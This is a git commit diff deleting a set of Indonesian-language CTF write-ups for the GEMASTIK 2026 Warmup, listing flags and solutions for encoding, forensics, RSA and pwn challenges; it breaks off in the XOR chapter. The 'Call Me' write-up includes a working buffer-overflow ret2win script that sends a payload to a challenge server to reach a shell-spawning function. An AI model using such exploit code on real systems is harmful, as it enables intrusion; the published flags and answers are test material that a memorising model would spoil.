chore: gitignore content/ .md files, remove from git tracking
DB is the source of truth via MCP API. Filesystem .md files are auto-generated backups, not tracked in git. The git-sync webhook is secondary — content is created/updated via create_document/update_document MCP tools (DB-first).
This commit is contained in:
@@ -1,58 +0,0 @@
|
|||||||
---
|
|
||||||
title: "GEMASTIK 2026 Warmup — All Chapters"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "writeup-index"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/_index.md"
|
|
||||||
created_at: "2026-08-21T07:17:48.670Z"
|
|
||||||
updated_at: "2026-08-21T07:17:48.670Z"
|
|
||||||
---
|
|
||||||
---
|
|
||||||
title: "GEMASTIK 2026 Warmup — All Chapters"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
category: "index"
|
|
||||||
points: 0
|
|
||||||
difficulty: "index"
|
|
||||||
---
|
|
||||||
|
|
||||||
# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
|
|
||||||
|
|
||||||
**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
|
|
||||||
**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
|
|
||||||
|
|
||||||
| # | Challenge | Category | Diff | Flag |
|
|
||||||
|---|-----------|----------|------|------|
|
|
||||||
| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
|
|
||||||
| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
|
|
||||||
| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
|
|
||||||
| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
|
|
||||||
| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
|
|
||||||
| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
|
|
||||||
| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
|
|
||||||
| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
|
|
||||||
| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
|
|
||||||
| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
|
|
||||||
| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
|
|
||||||
| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
|
|
||||||
| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
|
|
||||||
| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
|
|
||||||
|
|
||||||
### Ringkasan Metode
|
|
||||||
| Ch | Metode | Tool |
|
|
||||||
|----|--------|------|
|
|
||||||
| 1 | Double Base64 | base64 -d ×2 |
|
|
||||||
| 2 | ROT13 Caesar | codecs.encode(s, "rot_13") |
|
|
||||||
| 3 | strings | strings secret.bin |
|
|
||||||
| 4 | EXIF metadata | strings photo.jpg |
|
|
||||||
| 5 | HTML comment | curl \| grep '<!--' |
|
|
||||||
| 6 | Base64 cookie | base64 -d |
|
|
||||||
| 7 | ASCII codes | chr() decoding |
|
|
||||||
| 8 | Single-byte XOR | XOR 0x42 |
|
|
||||||
| 9 | Stack overflow | buffer > admin |
|
|
||||||
| 10 | ret2win + align | ROP chain |
|
|
||||||
| 11 | PNG strings | strings kucing.png |
|
|
||||||
| 12 | Hex→Base64 | bytes.fromhex + b64decode |
|
|
||||||
| 13 | RSA small factors | trial division / sympy factorint |
|
|
||||||
| 14 | RSA special integers | GCD with paper appendix primes |
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Sixty Four — Double Base64"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "crypto"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch1-sixty-four.md"
|
|
||||||
created_at: "2026-08-21T07:25:17.079Z"
|
|
||||||
updated_at: "2026-08-21T07:25:17.079Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Sixty Four — Double Base64"
|
|
||||||
category: "crypto"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
|
|
||||||
---
|
|
||||||
# Sixty Four (500 pts) — Encoding
|
|
||||||
|
|
||||||
**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
|
|
||||||
|
|
||||||
Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
|
|
||||||
R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
|
|
||||||
$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
|
|
||||||
GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Solusi Python
|
|
||||||
|
|
||||||
```python
|
|
||||||
import base64
|
|
||||||
|
|
||||||
with open("chall.txt") as f:
|
|
||||||
s = f.read().strip()
|
|
||||||
|
|
||||||
# First base64 decode
|
|
||||||
decoded1 = base64.b64decode(s)
|
|
||||||
# Second base64 decode
|
|
||||||
flag = base64.b64decode(decoded1).decode()
|
|
||||||
|
|
||||||
print(f"Flag: {flag}")
|
|
||||||
# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
|
|
||||||
@@ -1,62 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Call Me — ret2win"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "pwn"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch10-call-me.md"
|
|
||||||
created_at: "2026-08-21T07:25:43.282Z"
|
|
||||||
updated_at: "2026-08-21T07:25:43.282Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Call Me — ret2win"
|
|
||||||
category: "pwn"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
|
|
||||||
---
|
|
||||||
# Call Me (500 pts) — Pwn / ret2win
|
|
||||||
|
|
||||||
**Server:** `nc 15.232.89.109 9002`
|
|
||||||
|
|
||||||
**Source (`chall.c`):**
|
|
||||||
|
|
||||||
```c
|
|
||||||
void win() { system("/bin/sh"); } // flag printed inside
|
|
||||||
|
|
||||||
char buf[32];
|
|
||||||
gets(buf); // <-- overflow
|
|
||||||
```
|
|
||||||
|
|
||||||
## Eksploitasi
|
|
||||||
|
|
||||||
1. Compile lokal untuk dapatkan alamat `win()`:
|
|
||||||
```bash
|
|
||||||
gcc -fno-stack-protector -no-pie -o ch10 chall.c
|
|
||||||
nm ch10 | grep win
|
|
||||||
# 00000000004011f6 T win
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
|
|
||||||
Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import socket, time, struct
|
|
||||||
|
|
||||||
s = socket.socket()
|
|
||||||
s.connect(("15.232.89.109", 9002))
|
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
RET_GADGET = 0x401016 # alignment
|
|
||||||
WIN_ADDR = 0x4011f6
|
|
||||||
|
|
||||||
payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
|
|
||||||
s.sendall(payload + b"\n")
|
|
||||||
time.sleep(1.5)
|
|
||||||
print(s.recv(4096).decode())
|
|
||||||
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Behind the Picture — PNG Strings"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "forensics"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch11-behind-the-picture.md"
|
|
||||||
created_at: "2026-08-21T07:25:45.672Z"
|
|
||||||
updated_at: "2026-08-21T07:25:45.672Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Behind the Picture — PNG Strings"
|
|
||||||
category: "forensics"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
|
|
||||||
---
|
|
||||||
# Behind the Picture (500 pts) — Steganografi / PNG
|
|
||||||
|
|
||||||
**File:** `kucing.png` (cat image)
|
|
||||||
|
|
||||||
Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
|
|
||||||
|
|
||||||
```bash
|
|
||||||
strings kucing.png | grep GEMASTIK
|
|
||||||
# GEMASTIK19{c4t_g4mbar_ada_flag}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{c4t_g4mbar_ada_flag}`
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Layers — Hex to Base64 Chain"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "crypto"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch12-layers.md"
|
|
||||||
created_at: "2026-08-21T07:25:48.559Z"
|
|
||||||
updated_at: "2026-08-21T07:25:48.559Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Layers — Hex to Base64 Chain"
|
|
||||||
category: "crypto"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
|
|
||||||
---
|
|
||||||
# Layers (500 pts) — Encoding chain
|
|
||||||
|
|
||||||
**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
|
|
||||||
|
|
||||||
Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import base64
|
|
||||||
|
|
||||||
s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
|
|
||||||
|
|
||||||
# Layer 1: hex decode
|
|
||||||
b = bytes.fromhex(s)
|
|
||||||
# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
|
|
||||||
|
|
||||||
# Layer 2: base64 decode
|
|
||||||
flag = base64.b64decode(b).decode()
|
|
||||||
print(flag)
|
|
||||||
# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
|
|
||||||
@@ -1,67 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Slopped — RSA Small Factors"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "crypto"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch13-slopped.md"
|
|
||||||
created_at: "2026-08-21T07:26:21.304Z"
|
|
||||||
updated_at: "2026-08-21T07:26:21.304Z"
|
|
||||||
category: "crypto"
|
|
||||||
challenge: "Slopped"
|
|
||||||
difficulty: "medium"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
|
|
||||||
points: 500
|
|
||||||
---
|
|
||||||
|
|
||||||
# Slopped (500 pts) — Crypto / RSA small factors
|
|
||||||
|
|
||||||
**File:** `chall.py`
|
|
||||||
|
|
||||||
```python
|
|
||||||
import random
|
|
||||||
p = random.randint(1, 10**4) # tiny prime candidates
|
|
||||||
q = random.randint(1, 10**4)
|
|
||||||
# ... find small primes, multiply
|
|
||||||
n = p * q * (big prime)
|
|
||||||
e = 0x10001
|
|
||||||
c = pow(flag, e, n)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Analisis
|
|
||||||
|
|
||||||
RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
|
|
||||||
`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with
|
|
||||||
1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
|
|
||||||
|
|
||||||
## Solusi
|
|
||||||
|
|
||||||
```python
|
|
||||||
from Crypto.Util.number import long_to_bytes
|
|
||||||
from sympy import factorint
|
|
||||||
|
|
||||||
e = 0x10001
|
|
||||||
n = 0xdb... # 2048-bit modulus
|
|
||||||
c = 0x...
|
|
||||||
|
|
||||||
factors = factorint(n)
|
|
||||||
print(factors)
|
|
||||||
# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
|
|
||||||
|
|
||||||
phi = 1
|
|
||||||
for p, exp in factors.items():
|
|
||||||
phi *= (p - 1) * p**(exp - 1)
|
|
||||||
|
|
||||||
d = pow(e, -1, phi)
|
|
||||||
m = pow(c, d, n)
|
|
||||||
print(long_to_bytes(m))
|
|
||||||
# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
|
|
||||||
|
|
||||||
> Flag ini adalah petunjuk untuk ch14 (paper search).
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Slopped wave-2 — RSA Special Integers (Paper Search)"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "crypto"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch14-slopped-wave2.md"
|
|
||||||
created_at: "2026-08-21T07:25:51.729Z"
|
|
||||||
updated_at: "2026-08-21T07:25:51.729Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Slopped wave-2 — RSA Special Integers (Paper Search)"
|
|
||||||
category: "crypto"
|
|
||||||
points: 501
|
|
||||||
difficulty: "hard"
|
|
||||||
flag: "GEMASTIK19{test_vector_of_listP_on_quant}"
|
|
||||||
---
|
|
||||||
# Slopped wave-2 (501 pts) — Crypto / RSA "special integers"
|
|
||||||
|
|
||||||
**File:** `chals.py` — Kategori: `crypto, misc`
|
|
||||||
|
|
||||||
## Challenge
|
|
||||||
|
|
||||||
```python
|
|
||||||
p = #### (hidden_length)
|
|
||||||
q = #### (hidden_length)
|
|
||||||
n = p * q
|
|
||||||
print(n)
|
|
||||||
|
|
||||||
e = 0x10001
|
|
||||||
p = bytes_to_long(b'GEMASTIK19{...}') # flag hijacked as 'p'
|
|
||||||
c = pow(p, e, n)
|
|
||||||
print(c)
|
|
||||||
```
|
|
||||||
|
|
||||||
`c = pow(p, e, n)` dengan `p = bytes_to_long(flag)`, `e = 0x10001`, `n` 2048-bit.
|
|
||||||
|
|
||||||
## Analisis Serangan
|
|
||||||
|
|
||||||
Semua serangan standar gagal:
|
|
||||||
- **Fermat** (close primes): gap > 1.2×10^159
|
|
||||||
- **ECM**: tidak smooth (B1=43M)
|
|
||||||
- **Pollard p-1**: B=2M — tidak smooth
|
|
||||||
- **ROCA**: n mod M bukan pangkat 65537
|
|
||||||
- **Wiener / Boneh-Durfee**: e kecil berarti d besar
|
|
||||||
- **Trial division** ke 10M: bersih
|
|
||||||
|
|
||||||
### Hint "paper search"
|
|
||||||
|
|
||||||
Hint dari ch13 ("you should use paper search mcp skill") mengarah ke paper akademik.
|
|
||||||
|
|
||||||
Paper: **[Wang et al., "A First Successful Factorization of RSA-2048 Integer by D-Wave Quantum Computer (TST 2024.9010028)"](https://www.sciopen.com/article/10.26599/TST.2024.9010028)**.
|
|
||||||
|
|
||||||
Paper mendefinisikan **"special integer"**: `n = p·q` di mana kedua prima berbeda tepat 2 bit (`popcount(p XOR q) = 2`). Appendix Table S1 berisi 10 contoh (N, p, q) yang **menggunakan kembali prima yang sama** — inilah "sloppiness" wave-2: modulus challenge merekonstruksi ulang dua prima dari dua contoh berbeda.
|
|
||||||
|
|
||||||
## Solusi
|
|
||||||
|
|
||||||
Hitung `gcd(n, P_i)` untuk setiap prima `P_i` di 10 contoh paper:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import math
|
|
||||||
from Crypto.Util.number import long_to_bytes
|
|
||||||
|
|
||||||
n = <2048-bit modulus from challenge>
|
|
||||||
e = 0x10001
|
|
||||||
c = <ciphertext>
|
|
||||||
|
|
||||||
# 10 contoh dari appendix paper, setiap contoh punya (p, q)
|
|
||||||
paper_examples = [...]
|
|
||||||
|
|
||||||
for ex in paper_examples:
|
|
||||||
for P in (ex.p, ex.q):
|
|
||||||
g = math.gcd(n, int(P))
|
|
||||||
if 1 < g < n:
|
|
||||||
p_factor = g
|
|
||||||
q_factor = n // g
|
|
||||||
break
|
|
||||||
|
|
||||||
phi = (p_factor - 1) * (q_factor - 1)
|
|
||||||
d = pow(e, -1, phi)
|
|
||||||
flag = pow(c, d, n)
|
|
||||||
print(long_to_bytes(flag))
|
|
||||||
# GEMASTIK19{test_vector_of_listP_on_quant}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{test_vector_of_listP_on_quant}`
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Julius — ROT13 Caesar Cipher"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "crypto"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch2-julius.md"
|
|
||||||
created_at: "2026-08-21T07:25:20.120Z"
|
|
||||||
updated_at: "2026-08-21T07:25:20.120Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Julius — ROT13 Caesar Cipher"
|
|
||||||
category: "crypto"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
|
|
||||||
---
|
|
||||||
# Julius (500 pts) — Caesar / ROT13
|
|
||||||
|
|
||||||
**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
|
|
||||||
|
|
||||||
Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
|
|
||||||
`TRZNFGVX19` → `GEMASTIK19`, dst.
|
|
||||||
|
|
||||||
```python
|
|
||||||
import codecs
|
|
||||||
|
|
||||||
s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
|
|
||||||
flag = codecs.encode(s, "rot_13")
|
|
||||||
print(f"Flag: {flag}")
|
|
||||||
# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Needle — Strings Binary"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "forensics"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch3-needle.md"
|
|
||||||
created_at: "2026-08-21T07:25:23.053Z"
|
|
||||||
updated_at: "2026-08-21T07:25:23.053Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Needle — Strings Binary"
|
|
||||||
category: "forensics"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
|
|
||||||
---
|
|
||||||
# Needle (500 pts) — Steganografi / Binary
|
|
||||||
|
|
||||||
**File:** `secret.bin` (748 bytes, binary)
|
|
||||||
|
|
||||||
Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
strings secret.bin | grep GEMASTIK
|
|
||||||
# GEMASTIK19{str1ngs_c4n_f1nd_m3}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Say Cheese — EXIF Metadata"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "forensics"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch4-say-cheese.md"
|
|
||||||
created_at: "2026-08-21T07:25:25.953Z"
|
|
||||||
updated_at: "2026-08-21T07:25:25.953Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Say Cheese — EXIF Metadata"
|
|
||||||
category: "forensics"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
|
|
||||||
---
|
|
||||||
# Say Cheese (500 pts) — Steganografi / Metadata
|
|
||||||
|
|
||||||
**File:** `photo.jpg`
|
|
||||||
|
|
||||||
Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
strings photo.jpg | grep GEMASTIK
|
|
||||||
# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Nothing Here — Web Comment"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "web"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch5-nothing-here.md"
|
|
||||||
created_at: "2026-08-21T07:25:28.880Z"
|
|
||||||
updated_at: "2026-08-21T07:25:28.880Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Nothing Here — Web Comment"
|
|
||||||
category: "web"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
|
|
||||||
---
|
|
||||||
# Nothing Here (500 pts) — Web
|
|
||||||
|
|
||||||
**URL:** `http://15.232.89.109:8001/`
|
|
||||||
|
|
||||||
Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
|
|
||||||
|
|
||||||
```html
|
|
||||||
<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
|
|
||||||
```
|
|
||||||
|
|
||||||
## Recon
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{v13w_s0urc3_pahlawan}`
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Sweet Cookie — Base64 Cookie"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "web"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch6-sweet-cookie.md"
|
|
||||||
created_at: "2026-08-21T07:25:31.627Z"
|
|
||||||
updated_at: "2026-08-21T07:25:31.627Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Sweet Cookie — Base64 Cookie"
|
|
||||||
category: "web"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
|
|
||||||
---
|
|
||||||
# Sweet Cookie (500 pts) — Web
|
|
||||||
|
|
||||||
**URL:** `http://15.232.89.109:8002/`
|
|
||||||
|
|
||||||
Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
|
|
||||||
|
|
||||||
```python
|
|
||||||
import base64
|
|
||||||
|
|
||||||
# Cookie value from Set-Cookie header
|
|
||||||
cookie = "eyJ1c2V..." # nilai session cookie
|
|
||||||
decoded = base64.b64decode(cookie)
|
|
||||||
print(decoded)
|
|
||||||
# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{c00k13_b4s3_d3c0d3}`
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Open Book — Python Source"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "misc"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch7-open-book.md"
|
|
||||||
created_at: "2026-08-21T07:25:34.522Z"
|
|
||||||
updated_at: "2026-08-21T07:25:34.522Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Open Book — Python Source"
|
|
||||||
category: "misc"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
|
|
||||||
---
|
|
||||||
# Open Book (500 pts) — Misc / Source
|
|
||||||
|
|
||||||
**File:** `chall.py`
|
|
||||||
|
|
||||||
Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
|
|
||||||
|
|
||||||
```python
|
|
||||||
SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
|
|
||||||
115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
|
|
||||||
|
|
||||||
flag = "".join(chr(c) for c in SECRET)
|
|
||||||
print(flag)
|
|
||||||
# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Back and Forth — XOR"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "reverse"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch8-back-and-forth.md"
|
|
||||||
created_at: "2026-08-21T07:25:37.394Z"
|
|
||||||
updated_at: "2026-08-21T07:25:37.394Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Back and Forth — XOR"
|
|
||||||
category: "reverse"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{x0r_it_back_4gain}"
|
|
||||||
---
|
|
||||||
# Back and Forth (500 pts) — Reversing / XOR
|
|
||||||
|
|
||||||
**File:** `chall.c`
|
|
||||||
|
|
||||||
Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
|
|
||||||
|
|
||||||
```python
|
|
||||||
